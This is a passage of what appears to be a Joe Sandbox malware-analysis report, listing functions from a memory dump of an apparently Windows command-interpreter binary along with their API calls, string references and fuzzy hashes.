Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: memset$wcscmp
String ID: %s
API String ID: 243296809-3043279178
Opcode ID: 76e25bbe37d1b4078acb033ef5c0999176f7735716d4b3cce97783dd07bc678b
Instruction ID: 741d5141561bca077d736d9281fb106e746904ffab9713e5cc5209eadce14f29
Opcode Fuzzy Hash: 76e25bbe37d1b4078acb033ef5c0999176f7735716d4b3cce97783dd07bc678b
Instruction Fuzzy Hash: DEA19422709B8A96EB25EB21D8403F9E3B0FB4C758F944136DA8D4B695DF3CE64C8314

Function 00007FF718D41F90 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 174COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D42058

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

memset.MSVCRT ref: 00007FF718D420C1
GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D420D2
GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D42117
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D421DC

Strings

DIRCMD, xrefs: 00007FF718D420C9, 00007FF718D42109

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: memset$EnvironmentVariable
String ID: DIRCMD
API String ID: 1405722092-1465291664
Opcode ID: 8078cba09e9f127300f2d445a1f6b2ae68663ae13b6bf8917c390c7797f52333
Instruction ID: a175477bb189f4dc0fd7eb93d5f2da908be276b8d81c5d6785e9b3b5df20c0be
Opcode Fuzzy Hash: 8078cba09e9f127300f2d445a1f6b2ae68663ae13b6bf8917c390c7797f52333
Instruction Fuzzy Hash: 56816E72A04BC58AEB20DF60E8802EDB7B5FB48758F944139DA8D67B58DF38D149C714

Function 00007FF718D499F0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718D4CD90: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D4B9A1,?,?,?,?,00007FF718D4D81A), ref: 00007FF718D4CDA6
Part of subcall function 00007FF718D4CD90: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D4B9A1,?,?,?,?,00007FF718D4D81A), ref: 00007FF718D4CDBD

wcschr.MSVCRT(?,?,?,00007FF718D499DD), ref: 00007FF718D49A39

Part of subcall function 00007FF718D4DF60: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000000,00000000,00007FF718D4CEAA), ref: 00007FF718D4DFB8
Part of subcall function 00007FF718D4DF60: RtlFreeHeap.NTDLL ref: 00007FF718D4DFCC
Part of subcall function 00007FF718D4DF60: _setjmp.MSVCRT ref: 00007FF718D4E03E

wcschr.MSVCRT(?,?,?,00007FF718D499DD), ref: 00007FF718D49AF0
wcschr.MSVCRT(?,?,?,00007FF718D499DD), ref: 00007FF718D49B0F

Part of subcall function 00007FF718D496E8: memset.MSVCRT ref: 00007FF718D497B2
Part of subcall function 00007FF718D496E8: ??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D49880

_wcsupr.MSVCRT ref: 00007FF718D5B844
wcscmp.MSVCRT ref: 00007FF718D5B86D

Strings

IF, xrefs: 00007FF718D5B850
FOR, xrefs: 00007FF718D5B863

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Heap$wcschr$Process$AllocFree_setjmp_wcsuprmemsetwcscmp
String ID: FOR$ IF
API String ID: 3663254013-2924197646
Opcode ID: f67f85f591da67d4ae817e2fb353553f76712647fd4c669d5220a84d1aca1485
Instruction ID: 57c65a8cb56f0cd961f94f81892f172e84627d315bb8399391af1ef98b31e7fa
Opcode Fuzzy Hash: f67f85f591da67d4ae817e2fb353553f76712647fd4c669d5220a84d1aca1485
Instruction Fuzzy Hash: 86518D20A09F4A91FF14BB169451279EAB1AF4DBB0FC84235D99E47BD1DF3CA40D8728

Function 00007FF718D4F173 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 119COMMON

Download Yara Rule

APIs

iswdigit.MSVCRT(?,?,00000000,00007FF718D51F69,?,?,?,?,?,?,?,00007FF718D4286E,00000000,00000000,00000000,00000000), ref: 00007FF718D4F0D6
iswspace.MSVCRT(00000000,00000000,?,00000000,?,00007FF718D4E626,?,?,00000000,00007FF718D51F69), ref: 00007FF718D4F1BA
wcschr.MSVCRT(?,?,00000000,00007FF718D51F69,?,?,?,?,?,?,?,00007FF718D4286E,00000000,00000000,00000000,00000000), ref: 00007FF718D4F1E7
iswdigit.MSVCRT(00000000,00000000,?,00000000,?,00007FF718D4E626,?,?,00000000,00007FF718D51F69), ref: 00007FF718D4F1FF
iswdigit.MSVCRT(?,?,00000000,00007FF718D51F69,?,?,?,?,?,?,?,00007FF718D4286E,00000000,00000000,00000000,00000000), ref: 00007FF718D4F2BB

Strings

), xrefs: 00007FF718D4F18C
=,;, xrefs: 00007FF718D4F1CE

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: iswdigit$iswspacewcschr
String ID: )$=,;
API String ID: 1959970872-2167043656
Opcode ID: 4f4e76ffb3d3d3f1682d86852f25dc45ca8acbfdb86516db9a39298bef1f035d
Instruction ID: 77edb9c98d02974ef9be8c98f181eafc5909187ffa9576e29b0bc66c720f11d0
Opcode Fuzzy Hash: 4f4e76ffb3d3d3f1682d86852f25dc45ca8acbfdb86516db9a39298bef1f035d
Instruction Fuzzy Hash: 1B41AD71E08B5A86FB647B14A448379E6A0AF18765FC850B2CACD429B4DF3CA44D8728

Function 00007FF718D6BA40 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 103COMMON

Download Yara Rule

APIs

iswalpha.MSVCRT ref: 00007FF718D6BABA
towupper.MSVCRT ref: 00007FF718D6BAD1
GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D6BB13
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D6BB2F
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D6BB48

Strings

%04X-%04X, xrefs: 00007FF718D6BBBB
:, xrefs: 00007FF718D6BAAF

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: ErrorLast$InformationVolumeiswalphatowupper
String ID: %04X-%04X$:
API String ID: 930873262-1938371929
Opcode ID: 1b48387342add1d7daed67bb80fe16c2eacc5f7ab2e1033d601e8994222be5e6
Instruction ID: 0bb617ca816231789e5dd26c5c0f4ade15249dee34eb819920da55e67533b9a2
Opcode Fuzzy Hash: 1b48387342add1d7daed67bb80fe16c2eacc5f7ab2e1033d601e8994222be5e6
Instruction Fuzzy Hash: 56415E21A08F8AC2EB24BB64E4412BAE261FB8D764FD44236D9CD426D5DF3CD54CC728

Function 00007FF718D56A28 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

iswdigit.MSVCRT(?,?,00000000,00007FF718D568A3,?,?,?,?,?,?,?,00000000,?,00007FF718D563F3), ref: 00007FF718D56A73
wcschr.MSVCRT(?,?,00000000,00007FF718D568A3,?,?,?,?,?,?,?,00000000,?,00007FF718D563F3), ref: 00007FF718D56A91
wcschr.MSVCRT(?,?,00000000,00007FF718D568A3,?,?,?,?,?,?,?,00000000,?,00007FF718D563F3), ref: 00007FF718D56AB0
wcschr.MSVCRT(?,?,00000000,00007FF718D568A3,?,?,?,?,?,?,?,00000000,?,00007FF718D563F3), ref: 00007FF718D56AE3
wcschr.MSVCRT(?,?,00000000,00007FF718D568A3,?,?,?,?,?,?,?,00000000,?,00007FF718D563F3), ref: 00007FF718D56B01

Strings

+-~!, xrefs: 00007FF718D56AA9, 00007FF718D56ADC
<>+-*/%()|^&=,, xrefs: 00007FF718D56A8A, 00007FF718D56AF7

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: wcschr$iswdigit
String ID: +-~!$<>+-*/%()|^&=,
API String ID: 2770779731-632268628
Opcode ID: 04afb1219d2367be7b294e05ecf67b56e7fd74584ee28e872d0024d55c3108eb
Instruction ID: 16fd7e23fb035c02158b63c0ec5df90df2d8d1526d6ec4a4550df372fc0fb076
Opcode Fuzzy Hash: 04afb1219d2367be7b294e05ecf67b56e7fd74584ee28e872d0024d55c3108eb
Instruction Fuzzy Hash: 9231DA22A09F5A85EB54AF11F450279F7B0FB99F65BC58236DA9E43354EE3CA40C8324

Function 00007FF718D6D878 Relevance: 12.1, APIs: 8, Instructions: 89fileCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF718D6D899
FlushFileBuffers.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D6D8A8
_get_osfhandle.MSVCRT ref: 00007FF718D6D8D7
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D6D8F1
_get_osfhandle.MSVCRT ref: 00007FF718D6D8FF
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D6D921
_get_osfhandle.MSVCRT ref: 00007FF718D6D969
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D6D983

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: File_get_osfhandle$Pointer$BuffersFlushRead
String ID:
API String ID: 3192234081-0
Opcode ID: 21cbebea3a03736acc453a065156524b21459c684ab1bf839b7458faa090dfc7
Instruction ID: 35cfee08c063dc0e39222a9bbaf2c321f5d41d9ff0f9afa8c49a627b3fe02081
Opcode Fuzzy Hash: 21cbebea3a03736acc453a065156524b21459c684ab1bf839b7458faa090dfc7
Instruction Fuzzy Hash: 51319E31608B59CBE714BF21A44567DEBA0FB8DBA4F849234DA8A47791CF3CD40D8B14

Function 00007FF718D51630 Relevance: 10.7, APIs: 7, Instructions: 208memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,?,00000000,?,00007FF718D514D6,?,?,?,00007FF718D4AA22,?,?,?,00007FF718D4847E), ref: 00007FF718D51673
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,?,00007FF718D514D6,?,?,?,00007FF718D4AA22,?,?,?,00007FF718D4847E), ref: 00007FF718D5168D
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,?,00007FF718D514D6,?,?,?,00007FF718D4AA22,?,?,?,00007FF718D4847E), ref: 00007FF718D51757
HeapReAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,?,00007FF718D514D6,?,?,?,00007FF718D4AA22,?,?,?,00007FF718D4847E), ref: 00007FF718D5176E
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,?,00007FF718D514D6,?,?,?,00007FF718D4AA22,?,?,?,00007FF718D4847E), ref: 00007FF718D51788
HeapSize.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,?,00007FF718D514D6,?,?,?,00007FF718D4AA22,?,?,?,00007FF718D4847E), ref: 00007FF718D5179C

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Heap$Process$Alloc$Size
String ID:
API String ID: 3586862581-0
Opcode ID: de24f60fade2ea1a8e9170476ea6e59d916578871a0233016ef2ac0a8793df42
Instruction ID: 6e3eeef79f6a23fd61b93da1a18674261ac20a0feab415d34a2fc0f99d196ffb
Opcode Fuzzy Hash: de24f60fade2ea1a8e9170476ea6e59d916578871a0233016ef2ac0a8793df42
Instruction Fuzzy Hash: 32916F21A09F4A85EB14AB159441279F6B1FB5CBA4FD94236DA8D433A4DF3CE44DC328

Function 00007FF718D586F0 Relevance: 10.7, APIs: 7, Instructions: 154COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718D588C0: NtOpenThreadToken.NTDLL ref: 00007FF718D588E7
Part of subcall function 00007FF718D588C0: NtOpenProcessToken.NTDLL ref: 00007FF718D58907
Part of subcall function 00007FF718D588C0: NtClose.NTDLL ref: 00007FF718D5896C

SetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0 ref: 00007FF718D587D7
LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0 ref: 00007FF718D58807
RtlNtStatusToDosError.NTDLL ref: 00007FF718D6517E
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D6518C
GetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0 ref: 00007FF718D651FD
wcsstr.MSVCRT ref: 00007FF718D65219
wcsstr.MSVCRT ref: 00007FF718D65236

Part of subcall function 00007FF718D5885C: FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D588A2

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: ConsoleErrorOpenTitleTokenwcsstr$CloseFormatFreeLastLocalMessageProcessStatusThread
String ID:
API String ID: 1313749407-0
Opcode ID: ee6218c461c646e929341b9db92bfc99d61f95d83b881389c5cff3e0ca217c2e
Instruction ID: 9f6cae6f7aee35e0f77e3a77ce1bbe6f1c02a03be65caf0c254e49b59fe9aabb
Opcode Fuzzy Hash: ee6218c461c646e929341b9db92bfc99d61f95d83b881389c5cff3e0ca217c2e
Instruction Fuzzy Hash: 37519121A08F8A82EB14BB11A41517AE6B1BF4DBB0FD85231DD9E077D0DF3CE44C8268

Function 00007FF718D6EC14 Relevance: 10.6, APIs: 7, Instructions: 121COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D6EC73

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D6EE0A

Part of subcall function 00007FF718D5081C: GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D5084E

SetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D6ECD5
SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D6ECED
SetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D6ED9C
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D6EDAC
SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D6EDC8

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Error$CurrentDirectoryModememset$EnvironmentLastVariable
String ID:
API String ID: 920682188-0
Opcode ID: a8a6e8177cbd8b682a13a2bb844deda24ae09a817a4e735513ea5a2a487d64ef
Instruction ID: d33ba62552107c8f4b5cc84db13cb5c355fcb0d3a21275f32511857720aef5c0
Opcode Fuzzy Hash: a8a6e8177cbd8b682a13a2bb844deda24ae09a817a4e735513ea5a2a487d64ef
Instruction Fuzzy Hash: 64512532605F898AEB25EF20D8546E8B7A1FB8CB58F848135CA8D47754EF3CD6498714

Function 00007FF718D4F5D7 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 91COMMON

Download Yara Rule

APIs

iswspace.MSVCRT(00000000,00000000,?,00000000,?,00007FF718D4E626,?,?,00000000,00007FF718D51F69), ref: 00007FF718D4F1BA
wcschr.MSVCRT(?,?,00000000,00007FF718D51F69,?,?,?,?,?,?,?,00007FF718D4286E,00000000,00000000,00000000,00000000), ref: 00007FF718D4F1E7
iswdigit.MSVCRT(00000000,00000000,?,00000000,?,00007FF718D4E626,?,?,00000000,00007FF718D51F69), ref: 00007FF718D4F1FF
iswdigit.MSVCRT(?,?,00000000,00007FF718D51F69,?,?,?,?,?,?,?,00007FF718D4286E,00000000,00000000,00000000,00000000), ref: 00007FF718D4F2BB

Strings

), xrefs: 00007FF718D4F18C
=,;, xrefs: 00007FF718D4F1CE

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: iswdigit$iswspacewcschr
String ID: )$=,;
API String ID: 1959970872-2167043656
Opcode ID: e8a5d63c360e4c13ef561f3ce3dd80187a3c2d8689f5c743dd181e811bfffbc3
Instruction ID: f1a42d63b15fd4677f2d4a957f866c9b97ffceb293076052d93c59e4f3613261
Opcode Fuzzy Hash: e8a5d63c360e4c13ef561f3ce3dd80187a3c2d8689f5c743dd181e811bfffbc3
Instruction Fuzzy Hash: A9418875E08F1F86FB647B14E548279E6A0AF19764FC850B2C9CD429B4CF3CA44D8629

Function 00007FF718D691B8 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF718D691FF
wcsrchr.MSVCRT ref: 00007FF718D69232
_wcsnicmp.MSVCRT ref: 00007FF718D69285

Strings

%s, xrefs: 00007FF718D69298
Null environment, xrefs: 00007FF718D691F1
CMD Internal Error %s, xrefs: 00007FF718D691F8

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: _wcsnicmpfprintfwcsrchr
String ID: CMD Internal Error %s$%s$Null environment
API String ID: 3625580822-2781220306
Opcode ID: 9798a54e4fc5b33e689a2c9d89df2130ab496e8d723cbfb9f498f453c0192420
Instruction ID: 204cbd769e1f0875f7cbf73aef710aa2dd40ae13215966ca5d07d53c4ccb5616
Opcode Fuzzy Hash: 9798a54e4fc5b33e689a2c9d89df2130ab496e8d723cbfb9f498f453c0192420
Instruction Fuzzy Hash: B031A221A08F4EA2EB14BB42A5001FAF260BB4DBB4FD44131CD9D17795DE3CE44D8318

Function 00007FF718D51FAC Relevance: 9.3, APIs: 6, Instructions: 260COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D5200F
wcsspn.MSVCRT ref: 00007FF718D52226

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: memsetwcsspn
String ID:
API String ID: 3809306610-0
Opcode ID: 231042d871709e842a58ac96de8cecde88a4784088973e8bd81687bc68b42317
Instruction ID: 7ba139e2363e091adb7d427b75ee2bd73c8d577b275691610212b8c627089cc5
Opcode Fuzzy Hash: 231042d871709e842a58ac96de8cecde88a4784088973e8bd81687bc68b42317
Instruction Fuzzy Hash: BDB19161A08F4A85EB50AF15E45067AE7B0FB59BA0FC48132EA8D47794DF7CE44DC324

Function 00007FF718D68C18 Relevance: 9.1, APIs: 6, Instructions: 145COMMON

Download Yara Rule

APIs

iswdigit.MSVCRT ref: 00007FF718D68C85
iswdigit.MSVCRT ref: 00007FF718D68CA2
wcstol.MSVCRT ref: 00007FF718D68CBF
wcschr.MSVCRT ref: 00007FF718D68CF0
wcschr.MSVCRT ref: 00007FF718D68D16
wcschr.MSVCRT ref: 00007FF718D68D6A

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: wcschr$iswdigit$wcstol
String ID:
API String ID: 3841054028-0
Opcode ID: c8e66ebebd8934775a16318260a5522f8ecbc9a094cbada97be1ab4c749f477c
Instruction ID: c93649309e263e13e7b2f890f2f1ec39b6256d499b95d74c6fd47adb29d976d3
Opcode Fuzzy Hash: c8e66ebebd8934775a16318260a5522f8ecbc9a094cbada97be1ab4c749f477c
Instruction Fuzzy Hash: 7D510462904F5E86E724AB1594011B9F6A1FF6C770BD48231DEDD426D4DF3CA44DC638

Function 00007FF718D45984 Relevance: 9.1, APIs: 6, Instructions: 142COMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF718D63687
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,00000000,00008000,?,00000001,00007FF718D4260D), ref: 00007FF718D636A6
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,00000000,00008000,?,00000001,00007FF718D4260D), ref: 00007FF718D636EB
_get_osfhandle.MSVCRT ref: 00007FF718D63703
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,00000000,00008000,?,00000001,00007FF718D4260D), ref: 00007FF718D63722

Memory Dump Source

